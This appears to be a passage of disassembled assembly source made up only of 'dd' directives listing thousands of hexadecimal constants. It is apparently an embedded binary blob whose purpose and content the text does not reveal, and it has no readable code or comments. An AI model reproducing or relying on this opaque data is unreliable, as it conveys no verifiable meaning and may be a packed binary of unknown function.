		dd 74F1513Dh, 48E0006Fh, 53020B04h, 0E202DB31h,	1B1A614Eh
		dd 0A54161E6h, 0FA1EBB60h, 5468005Fh, 0D348D12Fh, 0E8909B29h
		dd 79247C00h, 0B0FF0EE7h, 286D0014h, 8B2606A0h,	300D56Fh
		dd 47C7045Fh, 512D9Fh, 5760F931h, 0E3FF88A7h, 0AD36B907h
		dd 50806F19h
		dd 0E891127h, 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h
		dd 4586EC8h, 26911F74h,	52B28044h, 75001801h, 0EAE90A1Ah
		dd 9E62B9h, 2C444D42h, 2189084Eh, 67017F70h, 718D0559h
		dd 0C5EC3D09h, 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h
		dd 48041h, 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h
		dd 189093Eh, 610BE842h,	0C48C74CEh, 695CDC7Fh, 0D075002Ch
		dd 4B08C683h, 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h
		dd 0E992F88Dh, 946D0E1Ch, 2BEE5923h, 449E21A0h,	27482214h
		dd 6CF11E42h, 0F238689h, 56986136h, 0A3E88844h,	1E5BEA30h
		dd 8F92899Ah, 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h
		dd 87BE1h, 2480A48Ch, 42C78F54h, 31288500h, 8BDFA3ECh
		dd 2208306Ah, 5684DBDEh, 2489D100h, 28603949h, 54050F5Ah
		dd 53A05755h, 9507C888h, 444E4200h, 52E9F62Fh, 8654008Bh
		dd 6AA0C730h, 83018897h, 0A427BEAh, 0D471B089h,	60EC7931h
		dd 39FD0004h, 1EA80DF0h, 9200A4B5h, 0C9C543EAh,	3BCC031h
		dd 1C0648DFh, 12D85910h, 28001189h, 49A78D6Fh, 473A6Ah
		dd 0C664955Ah, 0C49674B6h, 5442E00h, 0D103E85Dh, 0E2FF00C7h
		dd 4D588038h, 1500CD5Eh, 5034C056h, 0C2BE02h, 4AB80C52h
		dd 3F1FFC5h, 3854491Ch,	86E97282h, 92836048h, 0C0070020h
		dd 5C742C7Fh, 0F018E95h, 57221509h, 20C8052Dh, 0BF8700DDh
		dd 483D1ECFh, 0EB3F4E80h, 84713060h, 83073Fh, 369429E8h
		dd 52E130E7h, 43963D00h, 3814112Ah, 93762Dh, 13462E33h
		dd 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h, 77E968Ch,	0B02C1D26h
		dd 1E2A40C8h, 781C3DC9h, 229DCD7Ch, 6567CF0Fh, 87C71A21h
		dd 0CE471627h, 0D8871267h, 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h
		dd 16272EFCh, 8D900536h, 808E1D8Bh, 6C01E3E8h, 400C25Dh
		dd 0F3942467h, 402993h,	2690F1FAh, 7074503Dh, 0CE00A27Bh
		dd 99CB9238h, 1D90836h,	72F65232h, 0EC3B8189h, 300053D0h
		dd 1817438Fh, 12381D74h, 0BCFB82h, 0B1D889ABh, 0B600EF84h
		dd 4BFA4419h, 74E1Fh, 46A3120Dh, 945C3749h, 0D9B8850Fh
		dd 14510204h, 6DBB878Ah, 124F60F0h, 0AA090752h,	505B290Ah
		dd 94ED2677h, 68F6E300h, 0A005F8F5h, 0D81A01B5h, 0BAC804Ah
		dd 0C8B63047h, 38657502h, 0C02E536Ch, 7F9836Eh,	39A174FFh
		dd 9DF5F001h, 0A4008922h, 68A2E984h, 0D49CBFh, 3E434B93h
		dd 57E148C2h, 70E80C00h, 0E9A79504h, 505800BEh,	7E1DDB85h
		dd 0F0004B12h, 4DE4433h, 9749D4h, 7F24D031h, 0C4BA3DEEh
		dd 0B214EB00h, 73E809BDh, 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh
		dd 0A1856000h, 0CFDFE8A4h, 30C3034Bh, 78A2DB33h, 341E5E90h
		dd 3B121400h, 1A057EF3h, 0C1DF0004h, 49A81D3Eh,	28EEB127h
		dd 4AEC7F00h, 1151E360h, 9CBE00BAh, 0C47D8D04h,	0A790E9B9h
		dd 8FA5F301h, 2164BC05h, 1429B20h, 10B02D89h, 0EF84B41Dh
		dd 1508A4F8h, 8D87AC00h, 0DF5C44Dh, 9377D17h, 0FC7D8397h
		dd 35B5A100h, 6792008h,	0C92BE803h, 880C45FAh, 1CC0A240h
		dd 4359481Dh, 0C4151BB8h, 0FF03E990h, 2F967100h, 2836156h
		dd 417E1D05h, 3D2580EEh, 7594C81Ch, 0C6180D1Fh,	1132481h
		dd 26F95AD9h, 4CBB20h, 0CB222C48h, 95D3E834h, 0A345C501h
		dd 18247444h, 3C9F30h, 160646B2h, 6B202778h, 0F5B93805h
		dd 2080EE93h, 14E1C3Ch,	124A892h, 0E832A9C8h, 0EC0E040Ch
		dd 0C1D210ACh, 0BBBF30C7h, 0E6803CB9h, 115ABE5Ch, 13001280h
		dd 0F294834Bh, 383C22h,	334AE877h, 30BB354h, 0D0299200h
		dd 595C44BBh, 1B98FFh, 0E68A0FE2h, 57C01750h, 63E8C102h
		dd 80B4ED9Ah, 46EA32E3h, 23F011h, 77FF0C1Dh, 0F820061Ch
		dd 3E933700h, 5D2656A4h, 73870015h, 19D8F70Fh, 0C9074045h
		dd 32BBB684h, 3885609Eh, 1806BEh, 250B34BFh, 0CE587B80h
		dd 83161C0Fh, 0BEE0203Fh, 5F8917h, 6F3787D0h, 0FBC2E803h
		dd 75231200h, 381A08EFh, 47743E40h, 25581383h, 0EC88A34h
		dd 0BA001685h, 0B88C4228h, 1FA27214h, 803E8FAFh, 0EB0B12ACh
		dd 0CF01C62h, 75226000h, 6ECF7013h, 0B4150048h,	0E186926h
		dd 0F212163Eh, 0D60029ADh, 0A750204h, 0F64C28BEh, 268907FEh
		dd 0F0080C43h, 7622012Bh, 503EB2F8h, 0AA18005Fh, 6DFBE8C0h
		dd 192E1F37h, 3B0079FDh, 587404CCh, 22007F06h, 0A64BEAEBh
		dd 75482Dh, 285314C2h, 0C01292B7h, 980D1500h, 0A03B831Ah
		dd 66F0041h, 8BCBC660h,	560003C1h, 0FB6C097Bh, 7A5E0438h
		dd 508C00EBh, 6974726Fh, 73036EA0h, 3D437920h, 3FFAA070h
		dd 7A680067h, 2963281Fh, 39003181h, 0D32C3338h,	1CCCBAFh
		dd 3718B76Dh, 60918990h, 9707E9FBh, 238FF5ADh, 0B75C7C90h
		dd 8B8400E3h, 1C2ED110h, 5138C2C7h, 0F84A072Dh,	0F0D07C49h
		dd 0EFF6Ah, 8D5007CBh, 57E8D242h, 6B0068F8h, 60C47858h
		dd 2C8BD618h, 275513h, 0EC80342h, 29E40865h, 4EEAB000h
		dd 6CA3DAFCh, 24510030h, 1A7F4145h, 1700F5B4h, 93750542h
		dd 0FAFE227h, 13481864h, 0F65A00DFh, 0B78C97EBh, 0A1876E00h
		dd 4C4B147Ch, 21440095h, 2A7E150Ah, 203B3BF9h, 501C0054h
		dd 95F8375h, 10180026h,	895A081Fh, 6FF4FC97h, 1768F803h
		dd 0F86B04C6h, 38BA546h, 25C0E390h, 0F8E1C1D6h,	0FEF9E458h
		dd 96BCC700h, 7A980914h, 95F00053h, 3277E45Ch, 0F0026CFh
		dd 0EC96573Bh, 0F38597h, 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h
		dd 8223C74Ah, 816700EBh, 8B7854FBh, 64002C7Dh, 9708E0BEh
		dd 40CFC90h, 55532850h,	7B40C010h, 0A90086F1h, 0D7E27B8h
		dd 0C70441h, 323ACEE9h,	0ECD93306h, 6098B57Bh, 0C5204401h
		dd 16225498h, 293160h, 80CA4607h, 0C09CB8B4h, 89145200h
		dd 95D1B9E2h, 175B032Ch, 41151268h, 3A522198h, 83D50A3Dh
		dd 1945132Fh, 0FD02C0E2h, 0E03E60Bh, 695E3A62h,	0ECE8EB01h
		dd 1CF1306Ah, 295AD100h, 2712E5E4h, 41240065h, 66522D30h
		dd 620C9B3Bh, 70340A20h, 82C30E0Dh, 6AF280Eh, 0EB081941h
		dd 496892E4h, 763A8A00h, 7621D725h, 3C901FC2h, 4252C38Ah
		dd 57C0014Ah, 891D5150h, 0F20720D7h, 3B0AE5Ch, 158D1F7h
		dd 5F9AC101h, 70A41992h, 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh
		dd 8B770103h, 35C9FC7Bh, 0DC8E43Fh, 0E2840F00h,	8A2734FDh
		dd 798B000Eh, 85B97EFCh, 391EFA01h, 77EC02CEh, 7A4A2C00h
		dd 4E0E41h, 2413269Ah, 0F5A48F46h, 6217AA00h, 83AB42F7h
		dd 0AF3D07D0h, 91618828h, 213BA044h, 517460AFh,	68BC0800h
		dd 0F9233450h, 0E94F00C0h, 0ED42933h, 0D3003958h, 250CE16h
		dd 3FC5Fh, 49756E46h, 0D809DFC7h, 0B34B8B00h, 0A2FAF277h
		dd 53030063h, 0A5580F91h, 5C004320h, 0F84F33F7h, 48A48CFEh
		dd 0CA000271h, 0E6A0BE9h, 5400AE51h, 0A650528Dh, 8BED40h
		dd 104F944Ch, 41112FD7h, 714AFC00h, 305A56CFh, 8BC60007h
		dd 6F149C44h, 0B800F5D3h, 5501D834h, 0D054CEh, 7E2AE975h
		dd 0ACC8EF82h, 5AC44A00h, 248D5801h, 0E0FD0094h, 3E6CD92Ah
		dd 3900F145h, 8FC709D0h, 3EA5CB29h, 8200687Fh, 0AE1C8B6Bh
		dd 0C05857DCh, 277007Ch, 5213C201h, 0B4EA00C1h,	1FE40E4Fh
		dd 4A145888h, 2C954E89h, 4003A310h, 0E0E6C7C6h,	7F786h
		dd 0FE5A6FBEh, 2C2250E0h, 41813800h, 34761702h,	0E3A1E18h
		dd 0E3678410h, 0CA7DC0B8h
		dd 300006E1h, 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h
		dd 0CF62B25Ah, 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h
		dd 60119743h, 8001DB44h, 0FB3AF9B8h, 2822C77h, 0FA34A86h
		dd 390225D0h, 13A424DBh, 9D4AC190h, 0C51FD868h,	80CC1EE7h
		dd 36D0895Bh, 7E008BF8h, 0FC58252Dh, 70261BC0h,	27C754Ah
		dd 1F7DDA39h, 5068D329h, 9E000519h, 0F416117Fh,	6394C9h
		dd 313A7D25h, 89E50AD2h, 2A93D900h, 126CB113h, 9ED50F5Bh
		dd 1FF6BC8Bh, 0C0575F87h, 0FC304086h, 7C004E3Fh, 7D123D4Ch
		dd 430126h, 0F129227Eh,	2D9CFE9h, 3F42BC3Eh, 8DF200F9h
		dd 7F4D3A04h, 52FB0724h, 10FAF0A1h, 0DF4C4762h,	4087A900h
		dd 70317992h, 4F8B0088h, 8334F1FCh, 7803044Ah, 46068A1Bh
		dd 147ED9C1h, 10D5F4h, 3BCB8937h, 15A6F3C3h, 0C746000h
		dd 5AEC128Ah, 57FF051Dh, 0C0415E08h, 273AF875h,	6A985100h
		dd 0FF314390h, 489B0028h, 23AFC2FCh, 0E0007883h, 0EC1D756Fh
		dd 0F92A09E8h, 1C87A1FBh, 0A5F884F5h, 8B75003Ah, 701A40EEh
		dd 0AE0790FCh, 28DC3050h, 949B0C60h, 0C93207AAh, 0B021FAD2h
		dd 477CF139h, 9D4BB600h, 4502C80h, 0B86F75E9h, 0D43400B4h
		dd 455DB2CAh, 0C81D30DBh, 0F31EF729h, 593D4080h, 0DA8906h
		dd 1347E95Bh, 9C36C34Ah, 83A8B83Fh, 1E0EC81h, 0E2FAE0A3h
		dd 41B5007Ch, 903C37E8h, 7900F01Dh, 7D28F320h, 1F240A80h
		dd 403175FFh, 856AE3DBh, 1F07AE15h, 0C45B1C59h,	0AAF8C910h
		dd 504D0322h, 0F5743158h, 0B586C194h, 0C066F932h, 87FB0E4Bh
		dd 0CE4652CAh, 10584960h, 0D1350096h, 590CD722h, 50009A20h
		dd 32125B3Bh, 0EC8814h,	8A532E44h, 4F3924A8h, 6113B300h
		dd 897C620Eh, 4CE21D06h, 5A94075h, 0FF0912A3h, 6DE42E00h
		dd 0EC7F4F14h, 0FE52039Eh, 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh
		dd 0E506ADA0h, 8001F4h,	7BBFF85Ch, 0A80B0ACEh, 0C1E4600h
		dd 0D3F5890h, 7F6200A0h, 0F7B400Eh, 881266C8h, 0D80012B2h
		dd 5893598Eh, 0CF22F66Fh, 7FC0012Ah, 0E9D6980Ah, 0DBD24503h
		dd 0F0F35214h, 78EB19h,	30071A91h, 1DCC2C58h, 1A86A58h
		dd 0D4612D44h, 10F0BB28h, 433E4C0h, 0FEF39450h,	89A0C052h
		dd 54008BD5h, 2C8E0A2Eh, 0CB5C03h, 4A0D8F02h, 638AB406h
		dd 241D2D0Fh, 351940E8h, 771A493Dh, 37FD0171h, 5DF01650h
		dd 431ED4EBh, 0E8730400h, 0F243846h, 0F2940077h, 54A97D11h
		dd 9D0049F1h, 0D1285C61h, 984AE98Ah, 70B31F84h,	0DA48C08Eh
		dd 0C6087544h, 7761C400h, 0E57F9C8h, 708E075Bh,	306A2D4Bh
		dd 463A7620h, 0CD25F50Fh, 554F409Ch, 7740561Ah,	287A7E59h
		dd 5DFD6D0h, 1C2F89DBh,	41918024h, 14039BCCh, 0CE920BFAh
		dd 5749A8D0h, 0D45D003Eh, 0D8CCB056h, 4B002B31h, 22CF2529h
		dd 9B3D09h, 0AA1DD5AEh,	5098BEE1h, 0EF335600h, 48CD832Ah
		dd 0BD5B0971h, 5F80325Fh, 84F85A85h, 0FDB21C00h, 0A81E532Bh
		dd 0BF3100AFh, 0D21D1499h, 0F802BB85h, 19385755h, 606FC2C7h
		dd 0BD0FDCh, 10C2731Bh,	23DE0892h, 0F77993F2h, 765E938h
		dd 0FA832875h, 0E0EE72E7h, 26BD9981h, 10372EB4h, 190E3DF6h
		dd 73E02A56h, 27C7661Ch, 0E9289102h, 0E0485E25h, 8BA18Ah
		dd 0E4D414A3h, 88909DA4h, 64836602h, 0C02A8038h, 1818764h
		dd 5F3E868Dh, 4084F742h, 0EB2720CEh, 51FF100Ch,	419FC15h
		dd 0C3A78AAEh, 6071805Ah, 7304123Ah, 0DB77B111h, 0E78611C5h
		dd 0C41007Ah, 7099C3CDh, 14057F3Ah, 757E0FB1h, 301D7980h
		dd 8F580002h, 72BD0486h, 1300C6A8h, 0E5DA0908h,	0FE4C8A52h
		dd 1E507A0Ah, 0BF6493C3h, 981AB80h, 1C850FC0h, 96883900h
		dd 0F02FE0A2h, 0FC021DE4h, 2D51407Dh, 0A9104B9h, 31345901h
		dd 458D12D8h, 0E7B0BF8h, 558F6833h, 40DC2D60h, 0D476D84Eh
		dd 0E43E4A98h, 9C9294F2h, 2C3503F1h, 88E3CCA8h,	1385150h
		dd 0CBD48A23h, 7056B2CFh, 6B00B387h, 0B5657C25h, 797B1D83h
		dd 62CD005Ah, 0F926845Bh, 7014923h, 2D350371h, 27DCE24Fh
		dd 53C800FFh, 2C30EB4Ch, 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h
		dd 0C0756Dh, 0C336835h,	0ACDD5634h, 1209200h, 5482ABAh
		dd 2F2200FDh, 9B511998h, 32008C07h, 0F80A0389h,	0E6443EAh
		dd 2FC0C08h, 9A34EB60h,	7D008F4Ah, 0D15727AAh, 3515C18h
		dd 2B4EAD53h, 28BBA5BEh, 44959C88h, 8A971202h, 0C03BFD01h
		dd 72EE3D6h, 0D266E56Ch, 57A5C7A3h, 9794F008h, 0D800E0C3h
		dd 7E85109h, 7C5BA2Fh, 6962279Ah, 763AC05Fh, 6D01EE74h
		dd 8BDE9C53h, 0D9C187EFh, 3D8E230h, 82DF0D75h, 0A0A4E84Ch
		dd 3203E259h, 0A4133D59h, 305A875h, 210801FBh, 0A31D319h
		dd 0F7D5C048h, 22135500h, 4271109Dh, 949600B4h,	93CBE658h
		dd 0E77BC295h, 2F9B3000h, 0BF4B2D87h, 5EC00034h, 0D383D4CCh
		dd 2177F869h, 0A3110A00h, 63579D5Ch, 0B9510079h, 914C4DB0h
		dd 0F600D6CEh, 6A65AF5Bh, 1E46728Ch, 43B99944h,	0A58B7D89h
		dd 0EF9C13C0h, 0EC830600h, 0FB8D810h, 78207B96h, 90100B9h
		dd 6531F3E8h, 2B0F27B6h, 6FAA56B0h, 2499E0C4h, 595350h
		dd 448CDD58h, 70FF1B1Ah, 0C4060C00h, 33B8040Dh,	891200D9h
		dd 5B3936E2h, 551F2CA2h, 807AE011h, 0AD05D354h,	91F849h
		dd 6CC88925h, 0A34A2471h, 0A540400h, 3870B506h,	47640027h
		dd 3B74A607h, 8D000583h, 85E1D11Bh, 188A910h, 6AE48661h
		dd 0C0953F1Ch, 0C8002C97h, 6B7C818Fh, 0A5FA10h,	0E8067525h
		dd 6602EBEDh, 1C453303h, 0F115FC51h, 0CDF86010h, 77190074h
		dd 7204583Bh, 8010A67h,	0C0705A4h, 0F5E0C975h, 0B0360084h
		dd 0EEE7F432h, 0F0095EBh, 8A129166h, 19A810h, 0EF755CC2h
		dd 6FB8F844h, 64B05B00h, 0C94BC4B3h, 0A3300034h, 9D747A68h
		dd 130F6A82h, 871B7501h, 84D0C3EFh, 7A88214Ch, 53CF022h
		dd 9D7D83F4h, 5598C0C2h, 85001018h, 5077CDB1h, 0F6B9D36Dh
		dd 0A43400F4h, 8C12A515h, 450043E8h, 356536E9h,	371C8Dh
		dd 3ADC3880h, 1780F08h,	0E0EEEDFDh, 700015D5h, 0E814025Bh
		dd 6633D7h, 823B8013h, 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh
		dd 565DD6h, 0F96C34Ch, 2752BF3h, 1468D0Fh, 6268C0AAh, 844BE8h
		dd 39554C64h, 0C749F8CEh, 936F400h, 1F8203D0h, 90FA0081h
		dd 618F0FA4h, 40488B92h, 3348002Eh, 35C65203h, 0B61C0765h
		dd 0C75CC3E1h, 744450E3h, 0C274DEC7h, 0E9856703h, 0A88921DBh
		dd 72047E2h, 3A2CD4CFh,	0C203E056h, 4EE03D40h, 0C6487F00h
		dd 33A13584h, 43A9035Ch, 40AC4C41h, 37A7F090h, 3030976h
		dd 20DF7285h, 0FF5FA8C7h, 2A0200D2h, 590B5D1Ah,	6B0EC1CCh
		dd 0C06E7265h, 321D336Ch, 7B643C2Eh, 920FF594h,	6F673C70h
		dd 61500073h, 4E7468EEh, 51006D7Dh, 0A8231441h,	0FFEE010h
		dd 71A75292h, 40FFE3CEh, 0C68F60ABh, 0E100EE45h, 68D9467Bh
		dd 24BDE03Fh, 87DC91h, 10F801C5h, 1E3974B1h, 7023004Eh
		dd 0C47275E2h, 64210052h, 71014B46h, 361D0EE8h,	6000C7B1h
		dd 92B2A5C3h, 6F903FD4h, 6400EB3Bh, 967AC5ABh, 58007352h
		dd 784B1A37h, 906850h, 0FC3DB3DAh, 466BF053h, 0BF16A60Fh
		dd 0C793001Eh, 0E892AB34h, 6A230B43h, 0EC803305h, 2BEB038Ch
		dd 261B6F0Ch, 0F61811h,	2113BD80h, 0BEAF0A48h, 0F37D9307h
		dd 678EF90Ch, 9FE0CEEEh, 22D12h, 0BD486D23h, 3250E52h
		dd 26783Ch
		dd 2E2C754Bh, 0E8102904h, 0F09500C9h, 6D74820Ah, 3D008E43h
		dd 0AF5115F6h, 755329h,	47AB021Ch, 0D6B63392h, 4613147Ah
		dd 0C9004C69h, 89265B8Fh, 73041E20h, 0A92443F5h, 0E0DBC6C9h
		dd 666F5380h, 61777400h, 0CA655F72h, 0DE48001Ch, 0FEF9633Fh
		dd 0D83D9173h, 0FBEB802Bh, 6E232938h, 10BC1F13h, 0A1FA80A4h
		dd 0F8357F14h, 38858700h, 0B5213912h, 0A4707CFh, 0E0242758h
		dd 1322A654h, 0B1E2040Fh, 9BC2A088h, 6F6621h, 753958E7h
		dd 0E5B6C74Eh, 0A6385C00h, 0BFA37756h, 3490009Bh, 0FDCF51D9h
		dd 64031019h, 0B5ADA648h, 8FE8C0E0h, 0D3371F49h, 0FC863FA2h
		dd 5205503Bh, 230C5100h, 0EB45A1C2h, 0E73E81Fh,	0BC34E8Bh
		dd 553BC880h, 0E413B4FCh, 2E030A37h, 0E0068E4Fh, 48EAFA2Dh
		dd 0C20FAD6Eh, 9A2C0A6h, 0CB41FCEEh, 0F13DCCE3h, 80047B38h
		dd 2A7D3E81h, 0AB15A68h, 998438Bh, 0B3E803EAh, 50727B99h
		dd 6F0CBC00h, 0F3F4120Ah, 0E87F47Ch, 0CDE31328h, 0C0A7C845h
		dd 89582A2h, 3C00F178h,	0AC042512h, 48E09378h, 1000B62Ah
		dd 8D520C06h, 4A000EBAh, 214BC22h, 2993E8h, 0E6A2D272h
		dd 11C98E7Dh, 6DF81F00h, 1DF1F35Eh, 0B18B0051h,	1A7EA256h
		dd 3C00C9EDh, 0AEB77DF2h, 52AAE9h, 62BB4433h, 21590504h
		dd 0F7EB3400h, 9612CADh, 76747FB0h, 745B48E8h, 49017500h
		dd 0DC76DA19h, 894C3001h, 6CB0C46h, 17FF20h, 45C3B12Dh
		dd 9B480B74h, 2EFC207Dh, 3AC0E900h, 4BB8621Ah, 0F2BA0380h
		dd 40B95F31h, 1C46C7D0h, 65D6E800h, 827A079h, 50C4FA18h
		dd 0B80FE502h, 29C00313h, 62491778h, 4424A0F7h,	14002018h
		dd 597E8088h, 222648h, 0FB96B2AEh, 10510F99h, 7060520Ch
		dd 852046h, 0FF32DA53h,	8920EB3Ch, 7E810600h, 8BB3042Ah
		dd 63A600B8h, 4EFF1FA3h, 0EA0050EEh, 7BE82836h,	44C874h
		dd 812D8CC9h, 6A96730Bh, 46E12C07h, 0AB303950h,	5CAD2Ah
		dd 0B1D58990h, 968D1361h, 7C2EB900h, 4736FF24h,	0A85A0165h
		dd 0D68B2280h, 5CFD86Eh, 0BC074C79h, 1A1D0906h,	85405B80h
		dd 2A8801F9h, 4AC2572Bh, 15472019h, 8023A33Dh, 22EB5D0Ah
		dd 1491C6h, 8AB29554h, 0F66A5840h, 5E0F617Eh, 2083E8F5h
		dd 3B5374B4h, 0B1223FB0h, 6FC91781h, 607E316Bh,	20736C0h
		dd 0FA480775h, 5EE4B1E0h, 0A47CC3h, 23246D7Ch, 69B81188h
		dd 0E9EB0402h, 809881A2h, 0DBF08BB3h, 0A488008Dh, 49CF9092h
		dd 2403D414h, 0EEDB108h, 4BCAE0EAh, 143148E4h, 5C181A00h
		dd 1C149FB3h, 4CE41190h, 7A3E2400h, 1B13549Ah, 0B08200B5h
		dd 87D882Ah, 0F80E1C90h, 200AAE11h, 75CDFE07h, 0C30B02A4h
		dd 8A94DE28h, 4FBABFC0h, 0E6F34Ch, 0EF461CD3h, 20C30Eh
		dd 0F718AFA6h, 0E9B767B8h, 0A97231Dh, 0E479254Fh, 7580961Ah
		dd 3C2AA1D8h, 0E8950EAh, 0B400FA83h, 85541977h,	6032198h
		dd 132453E1h, 41C5E94Eh, 98042CD4h, 0FC480E0Fh,	0F0C015EFh
		dd 5CC04B3Fh, 784A81E4h, 1A750A00h, 73BB9A4h, 0A573E3C3h
		dd 8A3D50F8h, 80011109h, 48302F9h, 0E1F46B42h, 1D70FFC1h
		dd 0B822000Dh, 0B046A868h, 9C0FC41Ah, 600A3D32h, 81412919h
		dd 0EBBF0074h, 764850DEh, 58005216h, 0B472114Ch, 0EC04C601h
		dd 40FF001Ah, 816656F3h, 13005830h, 0F8425290h,	263C494Eh
		dd 0ED51FFAh, 6F60D23Dh, 0DBF2724Ch, 62B45E00h,	0B0FAE8F1h
		dd 95AC00DDh, 3AC2484Fh, 6500F426h, 104B8339h, 203CA2Bh
		dd 7CF080C4h, 0A1808A1Fh, 3A9B3C42h, 0D701172h,	60AA062Eh
		dd 1EBEE00h, 122B4A33h,	3B8930h, 64CEA7D2h, 5B1EDBB6h
		dd 0AC0BAD4h, 0CDEB5837h, 43C30EACh, 0CFE0850Ch, 6930C235h
		dd 8797743Fh, 0FC5AE45Bh, 0E13D9B12h, 0E5701877h, 120F1DF1h
		dd 27B9C00Ah, 4B35FF05h, 0BCC60C00h, 58F08904h,	24ED0198h
		dd 4084B073h, 0E2E8700Ah, 76805A00h, 45E89C6h, 56FF1D17h
		dd 4587C718h, 0B8942069h, 76007166h, 6F47BAF1h,	75BE77h
		dd 0B7070FB2h, 0B045B3C8h, 21C5F507h, 1E903347h, 90FC2E75h
		dd 2803007Eh, 4987B8BBh, 600452Bh, 1167FD1h, 7DC5A30Eh
		dd 421900F4h, 5F4CA4F3h, 59503302h, 100DA85h, 915D7A62h
		dd 0B6E3D06h, 0AB75A04Eh, 39F6C780h, 5800D050h,	49A6595Ah
		dd 3B77426h, 95772BCDh,	0B87807D6h, 0BA258E0Eh,	83750060h
		dd 0EA7E40F9h, 0E9071F21h, 0B951C004h, 4A27269Ah, 1E773F00h
		dd 0D7532C7h, 7ED5015Bh, 608F0464h, 1AC3E4FFh, 3FDC7100h
		dd 2812F825h, 0EC0E3DA1h, 0CB802BBBh, 2F820B7Eh, 44E874D1h
		dd 0F1875A0Bh, 1D2D00F5h, 0AEA0BAh, 542B7EBDh, 3B90E91Fh
		dd 89DB520Fh, 3FDD201Eh, 580809F3h, 8213B67Dh, 63490017h
		dd 56C3EB15h, 10D38400h, 0E22B5A27h, 121403CBh,	0C928B5CAh
		dd 0E9428688h, 69C75300h, 8D368158h, 55FF0E51h,	0B967C17Ah
		dd 5A6CC001h, 0E202A4AAh, 0F04C49A9h, 7B0DE020h, 40950483h
		dd 0C1AEF2F4h, 0D349D125h, 21ED6C00h, 2C663B97h, 0D7F60012h
		dd 0ABA63790h, 0E000209Fh, 4574487Ch, 71416CBh,	7F8DD5A2h
		dd 0F29C02Bh, 5F001FE2h, 2CDB92C0h, 4F6855h, 0DE011990h
		dd 0ECE8C1C9h, 4224B201h, 3D620F16h, 9E18FCh, 3318C50h
		dd 800422B3h, 340045E0h, 0C3158451h, 0EA48D8F7h, 4442007Dh
		dd 3001F9E2h, 0B0EE0B3h, 0CB473198h, 0C7670752h, 2DA3C3E0h
		dd 6577005Eh, 70EED93Dh, 150001A4h, 0A7FFF80h, 0EE13FC8h
		dd 1C4002A0h, 840542E0h, 770008FAh, 380C9C72h, 7A47C350h
		dd 0F424000Fh, 9680C012h, 8C7A1698h, 0BEBC200Fh, 6B286119h
		dd 16A61CEEh, 80951F7Ah, 43B7E16Fh, 0C0023BAh, 0D4A50410h
		dd 0FE800DE8h, 84E7002Ah, 14A39174h, 0E6F4F4F0h, 2DB52800h
		dd 31A0020Ah, 0E35F18A9h, 8BF3C30h, 8E1BC900h, 2EC54034h
		dd 7CA258BCh, 76FA3700h, 0B6B3A0Eh, 3E91DE38h, 234400E8h
		dd 883E8AC7h, 4AC0162h,	0AD78EBC5h, 7A80C041h, 26B71701h
		dd 44D8D710h, 1AC90C0h,	8678326Eh, 30484087h, 0A0357B5h
		dd 0A968163Fh, 0EDA1804Bh, 0CE0703CCh, 4ED3C21Bh, 1484A0C8h
		dd 5161F800h, 527A5976h, 0A5C80407h, 0C0B99019h, 0A0556724h
		dd 200F3A0Fh, 8F27E0F4h, 0C358CECBh, 0F894093Eh, 3F3978D8h
		dd 875C813Dh, 36B90BE5h, 8FD1D7B7h, 0DFEC5FA1h,	467004Eh
		dd 0F2C9CD1Ch, 8300629Eh, 45812296h, 1C6F7CF8h,	3F657AFCh
		dd 2B70B500h, 9DC5ADA8h, 1697F00h, 0FFCFA6D5h, 781F0E49h
		dd 0C314B6BDh, 16C59B03h, 0EF80B3ABh, 0E001413Dh, 0A48E98Ch
		dd 93E4BAE4h, 24AAE0A8h, 0E78E617h, 0B60516A1h,	55718012h
		dd 8D093927h, 70F70Fh, 0C9304093h, 0FFE33D3Ch, 8A529681h
		dd 838E49E7h, 0EBFB9D9Ch, 5152007Eh, 6A2F8C43h,	0F00195Ch
		dd 0BBD226FCh, 1EE37640h, 8029F2CCh, 7D817C84h,	0A141C44h
		dd 0A4DB90h, 406F9FA4h,	1F8AA17h, 0E30F10AEh, 0ECFAC4C5h
		dd 0B01C9C59h, 0DD002AE9h, 4564F28Ah, 0F7F300D4h, 4AE1EB03h
		dd 0CF0F957Ah, 0A7A262D1h, 0D800DC07h, 39B83Eh,	0E91C746h
		dd 0A0AEA603h, 0A3E31900h, 750C17D0h, 86812C39h, 48C9002Ah
		dd 93A7E44Dh, 353BF0E1h, 0EDB2B800h, 5D1CE553h,	0FDC5003Dh
		dd 929E8B80h, 0F000A65Ah, 0C02001A1h, 0F8CA554h, 0E5FB6137h
		dd 5D259D01h, 0DBF9C089h, 0F3F86700h, 7BA2BF27h, 80CAC0C8h
		dd 20979B6Eh, 28A38h, 25C46052h, 59F075h, 562FCD5h, 0CAAE3511h
		dd 3F857B00h
		dd 0F7144EFAh, 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h
		dd 59D109A8h, 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh
		dd 4C914197h, 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h
		dd 0A791001h, 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h
		dd 20E9DB91h, 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h
		dd 0D68ED24Eh, 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh
		dd 40001B1Fh, 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h
		dd 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h
		dd 5875FFh, 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h
		dd 0FFDA00C3h, 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h
		dd 0F882681h, 8B40835Ah, 0A77B9EDAh, 5D64F300h,	47565948h
